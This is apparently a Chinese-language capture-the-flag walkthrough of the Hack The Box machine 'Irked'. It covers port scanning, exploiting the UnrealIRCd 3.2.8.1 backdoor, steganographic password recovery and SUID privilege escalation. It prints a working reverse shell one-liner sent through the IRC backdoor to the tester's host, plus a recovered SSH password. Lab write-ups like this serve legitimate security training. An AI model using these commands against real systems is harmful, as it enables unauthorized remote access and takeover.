Linux/Irked

nmap

nmap -sV -sC -Pn -T4 -oA nmap 10.10.10.117

可能是因为网络原因,与目标链接并不稳定,因此添加了参数-Pn,也只扫描了常见的端口

扫描可以看到只开启了3个端口,22,80和111。但是在访问web时,页面提示运行着irc

因此再次扫描目标系统,这次扫描全端口,为了节约时间,使用了以下命令nmap -vv -p- -Pn -T4 10.10.10.117,-vv可以及时的把扫描结果打印到屏幕上。

在对指定的端口进行详细扫描,发现6697端口运行着irc,版本为UnrealIRCd

hexchat连接IRC

网页提示再加上扫描都发现存在irc服务,那应该就是要对这个服务漏洞的利用了

Internet 中继聊天作为应用层协议实现,以方便以文本形式进行通信。聊天过程在客户端-服务器网络模型上运行。用户使用客户端(可能是Web 应用程序独立桌面程序或嵌入到较大程序的一部分)连接到 IRC 服务器,该服务器可能是较大 IRC 网络的一部分。

那么尝试看看能不能连接到IRC服务器,在网上搜索该如何连接IRC,发现有一篇文章,介绍了IRC并给出了客户端hexchat的使用方法http://unifreak.github.io/tutorial/IRC-quick-start,下载程序

等待下载完成,然后运行程序,add一个Networks,命名为irked,并编辑

点击连接后,很顺利的就连接到了irc

打开channel list,但里面没有任何东西

不知道该怎么搞,但是nc也可以连接,就要查一下irc该如何用了

UnrealIRCD 3.2.8.1

查阅IRC的RFC,手工getshell

https://www.rfc-editor.org/rfc/rfc1459#section-4.1中有irc的使用指导,4.1节讲了该如何连接注册并与服务通信

1. Pass message

在连接前需要设置一个密码。命令:PASS 参数:<password>

2. Nick message

为用户设置一个昵称。命令:NICK 参数:<nickname> [ <hopcount> ]

3. User message

用于连接开始时指定 新用户的用户名、主机名、服务器名和realname。命令:USER 参数:<username> <hostname> <servername> <realname>

必须注意 realname 参数必须是最后一个参数, 因为它可能包含空格字符并且必须以冒号(':')作为前缀以确保它被识别为这样

使用nc连接服务,并按照对应格式填写对应信息,就可以连接服务,可以看到已经welcome了,并且发现目标使用的irc的版本为Unreal3.2.8.1

既然如此,尝试搜索该版本是否存在漏洞,很简单就能得知这个版本的服务存在后门,可以利用

DEBUG3_LOG最终解析为对system()的调用,而DEBUGMODE3_INFO只是字符串“AB”。因此,发送到服务器的以“AB”开头的命令将直接传递给 system()。

测试能否利用这一点,先在kali中开启tcpdump抓icmp的包,然后在目标中执行AB;ping -c 5 10.10.14.14

收到icmp的包

接下来在kali中用nc监听,在目标irc中执行反弹shell命令,命令在Online - Reverse Shell Generator可以找到

AB;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.14 4444 >/tmp/f

msf一把梭哈

还有一种更快的漏洞利用方法,就是利用metasploit。在kali中使用msfconsole打开控制台,然后搜索漏洞

设置需要设置的东西,没什么好说的,设置好后直接run/exploit即可

steghide

还是先获取一个交互式shell,在djmardov目录中能看到user.txt,但是没有权限访问

steg隐写术,和主页的图片有关系,结合发现的这一串密码一样的东西,使用steghide

先将那个大黄脸下载到本地,然后下载steghide工具,使用图片,输入密码后便会将内容保存至目录下,命名为pass.txt

查看密码为Kab6h+m+bbp2J:HG 然后可以使用这个密码,用ssh登录djmardov

然后可以查看user.txt

djmardov→root

在目标机上传LinEnum,给予权限,执行。

看到suid文件

运行程序,提示没找到listusers

新建一个listusers,再次运行却提示操作不允许,为listusers添加执行权限,方便起见直接777,执行后提示hello没找到,好像是在执行listusers中的命令

确实和猜测的差不多

在listusers中写入/bin/bash,执行viewuser,执行listusers中的命令,然后就得到了root的权限

查看flag就可以了,over!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值